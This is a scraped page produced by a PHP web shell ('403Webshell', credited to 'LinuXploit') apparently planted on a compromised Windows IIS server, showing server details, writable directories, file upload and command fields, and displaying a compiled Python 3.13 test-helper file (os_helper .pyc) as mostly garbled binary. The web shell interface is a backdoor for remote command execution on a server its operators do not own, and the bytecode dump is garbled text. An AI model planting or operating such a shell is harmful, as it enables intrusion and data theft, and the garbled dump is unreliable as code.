403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/support/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/support/__pycache__/os_helper.cpython-313.opt-2.pyc
�

��i4e��*�SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSK	r	SSK
r
SSKrSSKrSSK
Jr SrSR!\\R""55r\S-r\R&(aSSKr\R*"S\5rSr\R.S:Xai\	R0"5R2S:�aI\S	-r\R5\	R6"55 \"S
\<S\	R6"5<S35 SrODOC\R&(d2\	R2S
;a"SR=\	R6"55 Sr SH/r!\RD"\RF"\!55\!:wa\$e\!r  O \RJ"5r&Sr'SH$r\R=\	R6"55 M& \ (a\\ -r)OSr)\)=(d \r*Sr+Sq,Sr-Sr.Sq/Sr0Sr1Sq2Sr3Sr4Sq5Sr6Sr7Sq8Sr9Sr:Sr;S r<\	R2R{S!5(aS@S"jr>S#r?S$r@S%rAS&rBO\Rxr?\R�r@S'rAS(rBS)rCS*rD\R�SAS+j5rF\R�S@S,j5rG\R�SBS-j5rHS.rI\R�S/5rJS0rK"S1S25rLS3rM\N"\S45(a\R�S55rOO\R�S65rO"S7S8\R�R�5rR\R�(aSSKTrT\TR�"S9S:S;9rVSrWSrXS<rYS=rZO\[e\R�S>5r\g!\a GNf=f!\a( \SR=\	R6"5S5-rGNHf=f!\$a GMRf=f!\a\ \R=\	R6"5\	RP"55 O!\a GMQf=f\RF"\5\-r' GMGf=f!\]\[4a S?r\gf=f)C�N)�supportz@testz	{}_{}_tmpu-àòɘŁğ�NFD�nt�u-共Ł♡ͣ�zWARNING: The filename z, CAN be encoded by the filesystem encoding (z.). Unicode filename tests may not be effective>�wasi�
emscripten��s-��surrogateescape�)�æuİuŁuφuКuאu،uتuก� u€)s�w�r	s���s�s��c���[[S5nUR5UR5 [	[5 $!UR5 [	[5 f=f)N�wb)�open�TESTFN�fileno�close�unlink��files �+C:\Python313\\Lib\test\support\os_helper.py�make_bad_fdr�sB��
����D���{�{�}��
�
���v���	
�
�
���v��s�A�!A"c��[b[$[RR[5nUS-n[R
"X5 Sn[R"U5 UqU$![[[4a SnUqU$f=f)N�can_symlinkTF)
�_can_symlink�os�path�abspathr�symlink�remove�OSError�NotImplementedError�AttributeError)�src�symlink_path�cans   rrr�s�������
�'�'�/�/�&�
!�C���&�L� �
�
�
�3�%���	�	�	�,���L��J��
�(�.�9�����L��J��s�A)�)B�Bc�d�[5nSnU(aU$[R"U5"U5$)Nz*Requires functional symlink implementation)r�unittest�skip��test�ok�msgs   r�skip_unless_symlinkr.�s)��	��B�
6�C��4�3�8�=�=��-�d�3�3�c�t�[c,[[S5=(a [R(+q[$)N�link)�
_can_hardlink�hasattrrr�
is_android�r/r�can_hardlinkr6�s*���� ��F�+�F�G�4F�4F�0F�
��r/c�d�[5nSnU(aU$[R"U5"U5$)Nzrequires hardlink support)r6r(r)r*s   r�skip_unless_hardlinkr8�s)��	��B�
%�C��4�3�8�=�=��-�d�3�3r/c��SSKn[b[$[[S5(dSnUqU$SSKnUR5nUR
US9upE[[S5n[R"USS5 [R"USS	5 [R"UR5SS5 UR5n[R"S
U5nUSL=(d [URS55S:�nSSS5 [#[5 [#U5 [%U5 WqU$![ a SnN?f=f!,(df   NI=f![#[5 [#U5 [%U5 f=f)
Nr�setxattrF��dirrs	user.testr/strusted.foos42z
2.6.(\d{1,2})��')�tempfile�
_can_xattrr3r�platform�mkdtemp�mkstemprrr:r�release�re�match�int�groupr!r�rmdir)	r?r&rA�tmp_dir�tmp_fp�tmp_name�fp�kernel_version�ms	         r�	can_xattrrP�sC��������2�z�"�"���.�J��J�-	��"�"�$��#�+�+��+�8���	��f�d�#�r� ��K�K���c�:��K�K��.�%�@��K�K��	�	��\�3�?�%-�%5�%5�%7�N����!1�>�B�A��t�)�<�s�1�7�7�1�:��"�'<�C�$�
�6�N��8���'�N��J��J��� ��C� ��$�#��
�6�N��8���'�N�sC�E�#E
�%B%D;�
E�;E
�E
�	E
�
E
�
E�E�'Fc�d�[5nSnU(aU$[R"U5"U5$)Nz(no non-broken extended attribute support)rPr(r)r*s   r�skip_unless_xattrrR�s)��	��B�
4�C��4�3�8�=�=��-�d�3�3r/c��[b[$[[S5(dSq[$[[S5n[R
"[S5 [R"[5Rn[R
"[S5 [R"[5Rn[R"U5[R"U5:gnSSS5 [[5 WqU$![anSnSnAN,SnAff=f!,(df   N:=f![[5 f=f)N�chmodFrimi�)�
_can_chmodr3rrrrT�stat�st_mode�S_IMODEr!r)�f�mode1�mode2r&�es     r�	can_chmodr]s��������2�w����
����
�&�$�
�1�
A������'������/�/�������'������/�/���l�l�5�)�T�\�\�%�-@�@�� �	�v���J��J���
����
��
 �
��	�v��sL�D.�D�A>D�<-D�)D.�
D�D�D�D�D�
D+�'D.�.D?c�d�[5nSnU(aU$[R"U5"U5$)Nzrequires working os.chmod())r]r(r)r*s   r�skip_unless_working_chmodr_ s+��

��B�
'�C��4�3�8�=�=��-�d�3�3r/c�N�[5(dSq[b[$[[S5n[R
"[S5 [[S5 SSS5 SqSSS5 [R
"[S5 [[5 [$!,(df   NI=f![a SqNXf=f!,(df   Nb=f![a NUf=f![R
"[S5 O![a Of=f[[5 f=f)NFr�Ti�)r]�_can_dac_overriderrrrTr!r)rYs r�can_dac_overriderc0s����;�;�!���$� � ��
�&�$�
�1��H�H�V�U�#�
)��&�$�'��(�
%)�!� �	��H�H�V�U�#�	�v����(�'���
*�$)�!�
*�� �
���	��	��	��H�H�V�U�#���	��	���v��s��C&�C�
B3�B"�B3�'C�)C&�2C�"
B0	�,B3�3C�?C�C�C�
C�C&�
C#�"C#�&D$�(D�D$�
D�D$�D�D$c�n�[5(+nSnU(aU$[R"U5"U5$)Nz"incompatible with CAP_DAC_OVERRIDE�rcr(r)r*s   r�skip_if_dac_overriderfLs-��
�
�	�B�
.�C��4�3�8�=�=��-�d�3�3r/c�d�[5nSnU(aU$[R"U5"U5$)Nzrequires CAP_DAC_OVERRIDErer*s   r�skip_unless_dac_overriderhRs*��	�	�B�
%�C��4�3�8�=�=��-�d�3�3r/c�H�[U5 g![[4a gf=f�N)�_unlink�FileNotFoundError�NotADirectoryError��filenames rrrXs'��
������1�2�
��
�s��!�!�winc��U"U5 U(aUnO,[RRU5up4U=(d SnSnUS:aP[R"U5nU(a	U(d	gWU;dg[R
"U5 US-nUS:aMP[R"[5RSUSSS9 g)	N�.g����MbP?g�?rz+tests may fail, delete still pending for %sT�)�
stack_info�
stacklevel)
rr�split�listdir�time�sleep�logging�	getLogger�__name__�warning)�func�pathname�waitall�dirname�name�timeout�Ls       r�_waitforr�`s����X����G��G�G�M�M�(�3�M�G��n��G�����m��
�
�7�#�A� �A��'+�a�i���J�J�w���q�L�G���m�	���(�#�+�+�9����		,�	
r/c�8�[[RU5 grj)r�rrrns rrkrk�s������H�%r/c�8�[[RU5 grj)r�rrI�r�s r�_rmdirr��s������7�#r/c�X^^�SSKJm UU4Sjm[TUSS9 [U4SjU5 g)Nr��
_force_runc��>�T"U[RU5H�n[RRX5n[R"U5R
n[R"U5(a%[TUSS9 T"U[RU5 M�T"U[RU5 M� g![a,n[SU<SU<3[RS9 SnSnAN�SnAff=f)Nzsupport.rmtree(): os.lstat(z) failed with rrT�r�)rrwr�join�lstatrWr!�print�sys�
__stderr__rV�S_ISDIRr�rIr)rr��fullname�mode�excr��
_rmtree_inners     ��rr��_rmtree.<locals>._rmtree_inner�s����"�4����T�:���7�7�<�<��3����8�8�H�-�5�5�D��<�<��%�%��]�H�d�C��x����8�<��x����H�=�;�����%�s�,�"�~�~�/��D��	�s� B:�:
C0�"C+�+C0Tr�c�4>�T"U[RU5$rj)rrI)�pr�s �r�<lambda>�_rmtree.<locals>.<lambda>�s���:�a����1�5r/)�test.supportr�r�)rr�r�s @@r�_rmtreer��s$���+�	>�	���d�3��5�t�<r/c���SSKnUR"[U5S-5nURRRX[U55nU(aUSU$U$![a U$f=f)Nrr)�ctypes�create_unicode_buffer�len�windll�kernel32�GetLongPathNameW�ImportError)rr��buffer�lengths    r�	_longpathr��s|��
	'��
�1�1�#�d�)�a�-�@�F��]�]�+�+�<�<�T�=@��[�J�F���g�v��&������	����	�s�A"�"
A0�/A0c�^�SSKnURU5 g![a Of=fU4SjmT"U5 [R"U5 g)Nrc�>�SSKJn U"U[RU5H�n[RRX5n[R"U5Rn[R"U5(a"T"U5 U"U[RU5 M�U"U[RU5 M� g![a SnNhf=f)Nrr�)
r�r�rrwrr�r�rWr!rVr�rIr)rr�r�r�r�r�s     �rr�r��s����/�"�4����T�:���7�7�<�<��3����8�8�H�-�5�5�D��<�<��%�%�!�(�+��t�R�X�X�x�8��t�R�Y�Y��9�;�����D��s� B=�=C�C)�shutil�rmtreer!rrI)rr�r�s  @rr�r��sF����	��M�M�$�����	��	��	:�	�d��
����s��
&�&c��U$rjr5�rs rr�r������r/c�<�[U5 g![a gf=frj)r�rlr�s rrIrI�s ��
��w����
��
����
�c�<�[U5 g![a gf=frj)r�rlr�s rr�r��s ��
���
���
��
�r�c
#�J# �SSKnSnUc2UR5nSn[RR	U5nO[R
"U5 SnU(a[R"5nUv� U(a&W[R"5:Xa[U5 ggg![a>nU(de[R"[5RSUUUSSS9 SnAN�SnAff=f!U(a&W[R"5:Xa[U5 fff=f7f)NrFTz;tests may fail, unable to create temporary directory %r: %s���exc_infortru)
r?rBrr�realpath�mkdirr!rzr{r|r}�getpidr�)r�quietr?�dir_createdr��pids      r�temp_dirr��s������K��|����!�����w�w����%��
	��H�H�T�N��K���i�i�k����
��3�"�)�)�+�-��4�L�.�;��%�
	������h�'�/�/�M������

0�
��
	��$�3�"�)�)�+�-��4�L�.�;�sF�<D#�B&�D#�4C1�8.D#�&
C.�04C)�$D#�)C.�.D#�1/D � D#c
#��# �[R"5n[R"[RR	U55 [R"5v� [R"U5 g![
a>nU(de[R"[5RSUUUSSS9 SnANrSnAff=f![R"U5 f=f7f)NzHtests may fail, unable to change the current working directory to %r: %sTr�r�)
r�getcwd�chdirrr�r!rzr{r|r})rr��	saved_dirr�s    r�
change_cwdr�	s�����	�	��I�

�
������!�!�$�'�(���i�i�k��
�������
������(�#�+�+�
������	,�	
��
��	�����s@�C!�3A;�
C�$C!�;
C�4B>�9C!�>C�C!�C�C!c#�# �[XS9n[X!S9nUv� SSS5 SSS5 g!,(df   N=f!,(df   g=f7f)N)rr�)r�)r�r�)r�r��	temp_path�cwd_dirs    r�temp_cwdr�+s<���
�t�	)�Y�
�	�
/�7��M�0�
*�	)�
/�
/��
*�	)�s)�
A�
=�,�=�	A�
:	�=�
A�Ac��[R"U[R[R-[R-5n[R
"U5 grj)rr�O_WRONLY�O_CREAT�O_TRUNCr)ro�fds  r�create_empty_filer�?s3��	����2�;�;����3�b�j�j�@�	A�B��H�H�R�Lr/c#�# �[Rn[[S5(aU[R-n[R"X5nUv� [R
"U5 g![R
"U5 f=f7f)N�O_DIRECTORY)r�O_RDONLYr3r�rr)r�flags�dir_fds   r�open_dir_fdr�Es[���
�K�K�E��r�=�!�!�
������
�W�W�T�
!�F����
�����������s�AB�A-�B�-B�Bc�0�SSKnURUS9nURnUR5nXC:XaUR	5n[
RRX45sSSS5 $![a SSS5 gf=f!,(df   g=f)Nrr;F)	r?�NamedTemporaryFiler��upper�lowerrr�samefilerl)�	directoryr?�base�	base_path�	case_paths     r�fs_is_case_insensitiver�Ss����	�	$�	$��	$�	3�t��I�I�	��O�O�%�	��!�!���)�I�	��7�7�#�#�I�9�

4�	3��!�	��
4�	3�	��
4�	3�s)�2B�A/�/
B�9B�B�B�
Bc�&�\rSrSrSrSrSrSrg)�FakePathibc��Xlgrjr�)�selfrs  r�__init__�FakePath.__init__es���	r/c�$�SUR<S3$)Nz
<FakePath �>r��r�s r�__repr__�FakePath.__repr__hs���D�I�I�=��*�*r/c���[UR[5(d>[UR[5(a+[	UR[5(aUReUR$rj)�
isinstancer�
BaseException�type�
issubclassr�s r�
__fspath__�FakePath.__fspath__ksH���t�y�y�-�0�0��t�y�y�$�'�'��4�9�9�m�4�4��)�)�O��9�9�r/r�N)r|�
__module__�__qualname__�__firstlineno__r�r�r��__static_attributes__r5r/rr�r�bs���+�r/r�c�~�[RRS5(aSnO[R(aSnOSnUb%[
R"U5n[U5S-
$Sn[[
S5(a[
R"S5nSn[RS:XaQS	SKnUR 0nURURUR 4HnURUS	5X5'M S	n['U5H5n[
R("U5n[
R*"U5 US-
nM7 Ub>WRURUR 4HnURXSU5 M U$![a GN,f=f![a GNf=f!["[$4a N�f=f![a*n	U	R,[,R.:waeSn	A	M�Sn	A	ff=f!Ub?WRURUR 4HnURXSU5 M ff=f)
N)�linux�android�freebsdrz
/proc/self/fdz/dev/fdr=ra�sysconf�SC_OPEN_MAX�win32r)r�rA�
startswithr�is_applerrwr�rlr3r�r!�msvcrt�CrtSetReportMode�CRT_WARN�	CRT_ERROR�
CRT_ASSERTr#r��range�dupr�errno�EBADF)
�fd_path�names�MAXFD�	old_modesr��report_type�countr��fd2r\s
          r�fd_countrts+���|�|���L�M�M�!��	�	�	�������	��J�J�w�'�E��u�:��>�!�
�E��r�9���	��J�J�}�-�E��I�
�|�|�w��	D���#�#�
�I� &��� &� 0� 0� &� 1� 1� 3��*0�)@�)@��AB�*D�	�&� 3�M�����,�B�	
��f�f�R�j��
����
���
���� � &��� &� 0� 0� &� 1� 1� 3���'�'��{�5K�L� 3�
�L��a!�	��	���	��	����,�	��	��$�
��7�7�e�k�k�)��*��
��� � &��� &� 0� 0� &� 1� 1� 3���'�'��{�5K�L� 3�!�sm�#F	�F�/F+�G8�G�'G8�	
F�F�
F(�'F(�+F>�=F>�
G5�G0�*G8�0G5�5G8�8AH<�umaskc#�# �[R"U5nSv� [R"U5 g![R"U5 f=f7frj)rr)r�oldmasks  r�
temp_umaskr�s4����(�(�5�/��	���H�H�W���B�H�H�W��s�A�5�A�A
�
Ac#�# �Sv� g7frjr5)rs rrr�s
���	�s�c�\�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrg)�EnvironmentVarGuardi�c�<�[RUl0Ulgrj)r�environ�_environ�_changedr�s rr��EnvironmentVarGuard.__init__�s���
�
��
���
r/c� �URU$rj)r�r��envvars  r�__getitem__�EnvironmentVarGuard.__getitem__�s���}�}�V�$�$r/c��XR;a(URRU5URU'X RU'grj�rr�get�r�r�values   r�__setitem__�EnvironmentVarGuard.__setitem__�s5�����&�$(�M�M�$5�$5�f�$=�D�M�M�&�!� %�
�
�f�r/c��XR;a(URRU5URU'XR;aURU	ggrjr!rs  r�__delitem__�EnvironmentVarGuard.__delitem__�sD�����&�$(�M�M�$5�$5�f�$=�D�M�M�&�!��]�]�"��
�
�f�%�#r/c�6�URR5$rj)r�keysr�s rr+�EnvironmentVarGuard.keys�s���}�}�!�!�#�#r/c�,�[UR5$rj)�iterrr�s r�__iter__�EnvironmentVarGuard.__iter__�s���D�M�M�"�"r/c�,�[UR5$rj)r�rr�s r�__len__�EnvironmentVarGuard.__len__�s���4�=�=�!�!r/c��X U'grjr5r#s   r�set�EnvironmentVarGuard.set�s	���V�r/c�"�U/UQ7HnX	M grjr5)r�r�envvars�evs    r�unset�EnvironmentVarGuard.unset�s���$�G�$�B���%r/c��[U5$rj)�dictr�s r�copy�EnvironmentVarGuard.copy�s���D�z�r/c��U$rjr5r�s r�	__enter__�EnvironmentVarGuard.__enter__�r�r/c���URR5H6up#Uc X R;aURU	M&M(X0RU'M8 UR[lgrj)r�itemsrrr)r��
ignore_exc�k�vs    r�__exit__�EnvironmentVarGuard.__exit__�sV���m�m�)�)�+�F�Q��y��
�
�%��
�
�a�(�&�$%�
�
�a� �,��]�]��
r/)rrN)r|r�r�r�r�rr%r(r+r/r2r5r:r>rArHr�r5r/rrr�s>���%�&�&�$�#�"���
��#r/rr�T)�use_last_errorrs�c#��# �[[R5HEnUS3n[R	USS5(aM&[
R"5[:XdME O [R"S5e[R[X 5(d)[
R"[
R"55eUv� [R[[-X 5(d)[
R"[
R"55eg![R[[-X 5(d)[
R"[
R"55ef=f7f)N�:rzno available logical drive)�reversed�string�ascii_uppercaser��QueryDosDeviceWr��get_last_error�ERROR_FILE_NOT_FOUNDr(�SkipTest�DefineDosDeviceW�DDD_NO_BROADCAST_SYSTEM�WinError�DDD_REMOVE_DEFINITION�DDD_EXACT_MATCH_ON_REMOVE)r�c�drives   r�subst_driver\s����&�0�0�1�A��c��G�E��,�,�U�D�!�<�<��)�)�+�/C�C��	2��#�#�$@�A�A��(�(�'��6�6��/�/�&�"7�"7�"9�:�:�	?��K��,�,�)�,E�E��!�!��o�o�f�&;�&;�&=�>�>�!��8�,�,�)�,E�E��!�!��o�o�f�&;�&;�&=�>�>�!�s,�<E,�E,�!A"E,�D�AE,�AE)�)E,c�.�[R"S5e)Nz#ctypes or kernel32 is not available)r(rTr�s rr\r\s����� E�F�Fr/)F)NF)�tempcwdF)^�collections.abc�collections�
contextlibrrzrrErVrOr�rxr(�warningsr+r�TESTFN_ASCII�formatr��TESTFN_UNICODEr��unicodedata�	normalize�TESTFN_UNENCODABLEr��getwindowsversionrA�encode�getfilesystemencodingr��UnicodeEncodeError�decode�UnicodeDecodeError�FS_NONASCII�	character�fsdecode�fsencode�UnicodeErrorr��SAVEDCWD�TESTFN_UNDECODABLE�getfilesystemencodeerrors�TESTFN_NONASCIIrrrrr.r2r6r8r@rPrRrUr]r_rbrcrfrhrr�r�rkr�r�r�rIr��contextmanagerr�r�r�r�r�r�r�rr3r�abc�MutableMappingr�
MS_WINDOWSr��WinDLLr�rSrXrYrVr#r\r�r5r/r�<module>r}s�������	�	��
�
��������!�!�,��	�	��<��� =�=��
���� �*�*�5�.�A�N�
���7�7�d�?�
����'�'�1�,�*�,M�M��	&��%�%�c�&?�&?�&A�B�
�'��)B�)B�)D�F�
G�"&��-�
�	�	�c�l�l�2H�H�

����s�0�0�2�3�	
��� �I�B
��;�;�r�{�{�9�-�.�)�;���<�
 ��
�W �\�9�9�;����
�D�"	����C�-�-�/�0�%
�8�"�[�0�O��O�	�	(�L��
����(4��
��4��
��B4��
��04����84�4�
��<�<���5�!�!�#
�J&�$�=�*��i�i�G�
�X�X�F��0�
�
����*��*�Z������B������&����
��
����$@�F�2�w���������������
9#�+�/�/�8�8�9#�x"?������=�=��D�A�� �� !��$%�!�"#����	 ����?��?��M"�	��	���N�)��o�o�c�7�7�9�;L�M�N��N��f�
��
��F��	��K�K��1�1�3��5�5�7�
9��!�	��	���[�[��6��=��
���~	�^�$�G�G�G�s~�> M�$ M �
(N� N�1P�M�M� *N�
N�N�N�P�&0O�P�O#�P�"O#�#P�P�P�P

Youez - 2016 - github.com/yon3zu
LinuXploit